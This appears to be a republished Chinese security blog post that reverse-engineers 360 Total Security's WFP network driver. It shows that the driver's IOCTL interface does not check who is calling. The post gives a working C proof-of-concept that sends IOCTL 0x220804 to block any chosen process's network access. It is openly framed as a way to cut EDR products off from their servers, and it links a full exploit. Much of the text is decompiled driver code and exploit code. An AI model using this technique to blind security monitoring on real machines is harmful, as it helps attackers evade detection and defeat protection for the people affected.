文章总结： 本文逆向360的WFP驱动，发现其IOCTL接口未严格验证权限。通过IOCTL0x220804，管理员进程可利用WFP机制强制阻断任意进程的网络连接。文章详细解析了驱动原理与过滤流程，并提供了POC代码。虽然360自身有白名单保护，该技术仍揭示了利用安全驱动进行网络封锁的风险。
综合评分： 95
文章分类： 逆向分析,漏洞POC,红队,二进制安全

利用360驱动阻断EDR网络连接

原创

可以遐想
可以遐想

遐想的小窝

2026年2月11日 01:19
安徽

闲来无事发个水文，记录一下特殊情况下分析360安全卫士过程中觉得可以公开的一个点。

在对 360netmon\_x64\_wfp.sys 进行逆向工程时，我首先定位到驱动的入口点 DriverEntry，发现驱动创建了两个设备对象：

IoCreateDevice(DriverObject,&nbsp;0,&nbsp;L"\\Device\\360TdiFilter", 0x22u,&nbsp;0,&nbsp;0,&nbsp;&deviceObject);IoCreateSymbolicLink(L"\\DosDevices\\360TdiFilter",&nbsp;L"\\Device\\360TdiFilter");
IoCreateDevice(DriverObject,&nbsp;0,&nbsp;L"\\Device\\360TdiSpeed", 0x22u,&nbsp;0,&nbsp;0,&nbsp;&qword_25320);IoCreateSymbolicLink(L"\\DosDevices\\360TdiSpeed",&nbsp;L"\\Device\\360TdiSpeed");

这两个设备可以从用户态通过符号链接 \\\\.\\\\360TdiFilter 和 \\\\.\\\\360TdiSpeed 访问。

这个驱动注册了多个 IRP 处理函数，其中 IrpMjDeviceControl 处理函数（地址 0x12374）负责处理所有 IOCTL 请求。

在 IrpMjDeviceControl 的入口处，代码仅验证设备对象是否匹配，完全没有调用者身份验证：

123D8: mov rcx, cs:g_pDeviceObject_TdiFilter123DF: cmp rdi, rcx ; 仅验证设备对象123E2: jz short loc_12422

既然如此我们就不得不去分析 IOCTL 接口实现进一步的利用。因为我们通过驱动的信息已经知道这个WFP驱动的用途，所以我们的预期就是任意的阻断网络功能。

很快我们的目光就到了 IOCTL 0x220804:身上，我们猜测功能是设置进程网络限速/阻断。于是细细地看了一下。

跟进sub_18BB8方法，我们发现它会：

解析用户提供的进程路径
在进程hash表中查找或创建进程节点
设置进程的限速配置字段
如果 qwBlockCnnt 设置为 LLONG_MAX，则完全阻断网络

IOCTL 0x220444 则主要负责WFP 过滤器操作，用来动态添加/删除 WFP 过滤规则，我们直接摸进sub_1D45C。

NTSTATUS __fastcall sub_1D45C(int&nbsp;a1){&nbsp;NTSTATUS v7;&nbsp;char&nbsp;v1, v2, v3, v4;
&nbsp;// 检查 Windows 版本（仅支持 Win10 1607+）&nbsp;if&nbsp;(g_WindowsBuildNumber <&nbsp;0x23F0)&nbsp;// Build 9200&nbsp;return&nbsp;STATUS_NOT_IMPLEMENTED;
&nbsp;// 检查是否已经是相同模式&nbsp;if&nbsp;(dword_6B78C == a1)&nbsp;return&nbsp;STATUS_SUCCESS;
&nbsp;// 检查 WFP 引擎句柄&nbsp;if&nbsp;(!engineHandle)&nbsp;return&nbsp;STATUS_DEVICE_NOT_READY;
&nbsp;// 开始 WFP 事务&nbsp;v7 = FwpmTransactionBegin0(engineHandle,&nbsp;0);&nbsp;if&nbsp;(v7 <&nbsp;0)&nbsp;return&nbsp;v7;
&nbsp;if&nbsp;(a1) {&nbsp;// 启用过滤&nbsp;// 注册 4 个 WFP Callout (Established V4/V6, Datagram V4/V6)&nbsp;v7 = sub_1D1E8(qword_6B790, &xmmword_236D0, &calloutId);&nbsp;if&nbsp;(v7 <&nbsp;0&nbsp;&& v7 != STATUS_FWP_ALREADY_EXISTS)&nbsp;goto&nbsp;CLEANUP;&nbsp;v1 =&nbsp;1;
&nbsp;v7 = sub_1D1E8(qword_6B790, &xmmword_236E0, &dword_6B10C);&nbsp;if&nbsp;(v7 <&nbsp;0&nbsp;&& v7 != STATUS_FWP_ALREADY_EXISTS)&nbsp;goto&nbsp;CLEANUP;&nbsp;v2 =&nbsp;1;
&nbsp;v7 = sub_1D1E8(qword_6B790, &xmmword_236F0, &dword_6B750);&nbsp;if&nbsp;(v7 <&nbsp;0&nbsp;&& v7 != STATUS_FWP_ALREADY_EXISTS)&nbsp;goto&nbsp;CLEANUP;&nbsp;v3 =&nbsp;1;
&nbsp;v7 = sub_1D1E8(qword_6B790, &xmmword_23700, &dword_6B754);&nbsp;if&nbsp;(v7 <&nbsp;0&nbsp;&& v7 != STATUS_FWP_ALREADY_EXISTS)&nbsp;goto&nbsp;CLEANUP;&nbsp;v4 =&nbsp;1;
&nbsp;// 添加 4 个 WFP Filter&nbsp;v7 = sub_1CF28(..., engineHandle,&nbsp;0, &dword_6B7A0);&nbsp;// ... (重复为其他3个过滤器)
&nbsp;}&nbsp;else&nbsp;{&nbsp;// 禁用过滤&nbsp;// 删除所有过滤器和 Callout&nbsp;v7 = FwpmFilterDeleteById0(engineHandle,&nbsp;id);&nbsp;v7 = FwpmFilterDeleteById0(engineHandle, qword_6B7C0);&nbsp;v7 = FwpmCalloutDeleteById0(engineHandle, dword_6B7A0);&nbsp;// ...
&nbsp;sub_1E288();&nbsp;// 清理内部状态&nbsp;FwpsCalloutUnregisterById0(calloutId);&nbsp;FwpsCalloutUnregisterById0(dword_6B10C);&nbsp;FwpsCalloutUnregisterById0(dword_6B750);&nbsp;FwpsCalloutUnregisterById0(dword_6B754);&nbsp;}
&nbsp;// 提交 WFP 事务&nbsp;v7 = FwpmTransactionCommit0(engineHandle);&nbsp;if&nbsp;(v7 >=&nbsp;0)&nbsp;dword_6B78C = a1;&nbsp;// 保存当前模式
CLEANUP:&nbsp;if&nbsp;(v7 <&nbsp;0) {&nbsp;// 失败时回滚并清理已注册的 Callout&nbsp;if&nbsp;(v1) FwpsCalloutUnregisterById0(calloutId);&nbsp;if&nbsp;(v2) FwpsCalloutUnregisterById0(dword_6B10C);&nbsp;if&nbsp;(v3) FwpsCalloutUnregisterById0(dword_6B750);&nbsp;if&nbsp;(v4) FwpsCalloutUnregisterById0(dword_6B754);&nbsp;FwpmTransactionAbort0(engineHandle);&nbsp;}
&nbsp;return&nbsp;v7;}

也就是说：

这玩意儿在 WFP 层级动态注册/注销 Callout 和 Filter
Callout 在 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4/V6和
FWPM_LAYER_ALE_AUTH_CONNECT_V4/V6 层拦截
没有验证调用者权限，任何管理员进程都可以调用

驱动通过以下流程实现网络阻断：

用户态应用 (Pwn.exe)&nbsp;↓ DeviceIoControl(0x220804,&nbsp;&LIMIT_SPEED)┌───▼─────────────────────────────┐│ IrpMjDeviceControl ││ @&nbsp;0x12374&nbsp;│└───┬─────────────────────────────┘&nbsp;↓&nbsp;call&nbsp;sub_18BB8┌───▼─────────────────────────────┐│ 解析进程路径并查找哈希表 ││ LookupProcessInHashTable() │└───┬─────────────────────────────┘&nbsp;↓ 更新进程节点┌───▼─────────────────────────────┐│ ProcessNode->qwBlockCnnt&nbsp;=&nbsp;MAX ││ ProcessNode->nLimitSend&nbsp;=&nbsp;MAX ││ ProcessNode->nLimitRecv&nbsp;=&nbsp;MAX ││ ProcessNode->bCancelFlag&nbsp;=&nbsp;FALSE&nbsp;│└───┬─────────────────────────────┘&nbsp;↓&nbsp;等待目标进程产生网络活动&nbsp;↓┌───▼─────────────────────────────┐│ WFP Callout 拦截点 ││ (网络包发送/接收时触发) │└───┬─────────────────────────────┘&nbsp;↓ 查询限速配置┌───▼─────────────────────────────┐│ if (ProcessNode->qwBlockCnnt ││&nbsp;==&nbsp;LLONG_MAX) ││&nbsp;return&nbsp;FWP_ACTION_BLOCK; │└──────────────────────────────────┘&nbsp;↓&nbsp;网络包被丢弃，进程无法联网

现在开始搓POC

通过逆向分析和动态调试，我们重建了驱动期望的数据结构：

#pragma&nbsp;pack(push, 4)typedef&nbsp;struct&nbsp;_PACK {&nbsp;WCHAR szNtPath[MAX_PATH +&nbsp;40];&nbsp;// +0x000: NT格式路径 (e.g., \WINDOWS\SYSTEM32\NOTEPAD.EXE)&nbsp;WCHAR szPath[MAX_PATH];&nbsp;// +0x228: DOS格式路径 (e.g., C:\Windows\System32\notepad.exe)&nbsp;BOOL&nbsp;bCancelFlag;&nbsp;// +0x428: TRUE=解除限制, FALSE=应用限制&nbsp;LONGLONG qwBlockCnnt;&nbsp;// +0x430: 阻断计数器 (LLONG_MAX = 完全阻断)&nbsp;LONGLONG nLimitSend;&nbsp;// +0x438: 上传速度限制 (字节/秒)&nbsp;LONGLONG nLimitRecv;&nbsp;// +0x440: 下载速度限制 (字节/秒)&nbsp;DWORD dwZeroCheck;&nbsp;// +0x448: 保留字段 (必须为0)} PACK, *PPACK;#pragma&nbsp;pack(pop)

后面的就很简单了，只需要这样那样就可以了:

BOOL&nbsp;BlockProcessNetwork(const&nbsp;WCHAR *szImagePath) {&nbsp;HANDLE hDevice;&nbsp;PACK ls;&nbsp;DWORD dwBytesReturned;
&nbsp;// 1. 打开驱动设备对象&nbsp;hDevice = CreateFileW(&nbsp;L"\\\\.\\360TdiFilter",&nbsp;GENERIC_READ | GENERIC_WRITE,&nbsp;FILE_SHARE_READ | FILE_SHARE_WRITE,&nbsp;NULL,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;NULL&nbsp;);
&nbsp;if&nbsp;(hDevice == INVALID_HANDLE_VALUE) {&nbsp;printf("[!] Failed to open device (Error: %lu)\n", GetLastError());&nbsp;return&nbsp;FALSE;&nbsp;}
&nbsp;// 2. 启用驱动监控功能（可选，驱动可能已启用）&nbsp;DeviceIoControl(hDevice,&nbsp;0x220408,&nbsp;NULL,&nbsp;0,&nbsp;NULL,&nbsp;0, &dwBytesReturned,&nbsp;NULL);
&nbsp;// 3. 构造限速/阻断结构体&nbsp;ZeroMemory(&ls,&nbsp;sizeof(ls));&nbsp;wcsncpy_s(ls.szPath, MAX_PATH, szImagePath, _TRUNCATE);&nbsp;ConvertToNtPath(szImagePath, ls.szNtPath);&nbsp;// 转换为NT路径格式
&nbsp;ls.bCancelFlag =&nbsp;FALSE;&nbsp;// FALSE = 应用限制&nbsp;ls.qwBlockCnnt = LLONG_MAX;&nbsp;// 设置为最大值 = 完全阻断&nbsp;ls.nLimitSend = LLONG_MAX;&nbsp;// 上传限制 = 无限大&nbsp;ls.nLimitRecv = LLONG_MAX;&nbsp;// 下载限制 = 无限大&nbsp;ls.dwZeroCheck =&nbsp;0;
&nbsp;// 4. 发送 IOCTL 请求&nbsp;if&nbsp;(!DeviceIoControl(&nbsp;hDevice,&nbsp;0x220804,&nbsp;// IOCTL_360TDIFILTER_LIMIT_PROCESS_SPEED&nbsp;&ls,&nbsp;sizeof(ls),&nbsp;NULL,&nbsp;0,&nbsp;&dwBytesReturned,&nbsp;NULL)) {&nbsp;printf("[!] DeviceIoControl failed (Error: %lu)\n", GetLastError());&nbsp;CloseHandle(hDevice);&nbsp;return&nbsp;FALSE;&nbsp;}
&nbsp;printf("[+] Successfully blocked: %S\n", szImagePath);&nbsp;CloseHandle(hDevice);&nbsp;return&nbsp;TRUE;}

完整的EXP可以查看我的Github:

https://github.com/kyxiaxiang/360WFP_Exploit

阻断后：

当然了360对自己是加了白名单的，所以银狐们退下吧(/摊手/)

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：遐想的小窝可以遐想
可以遐想《利用360驱动阻断EDR网络连接》

Tags: 二进制安全漏洞POC 红队逆向分析

你可能错过

黑客用DeepSeek扫了72万台主机，偷走1.6万个密码

WordPress CVE-2026-87902 披露数小时即遭在野利用

【安全圈】MikroTik 路由器曝高危攻击链：无需密码即可取得管理权限

【安全圈】开发文档里的示例域名被用于攻击，假人机验证诱导执行命令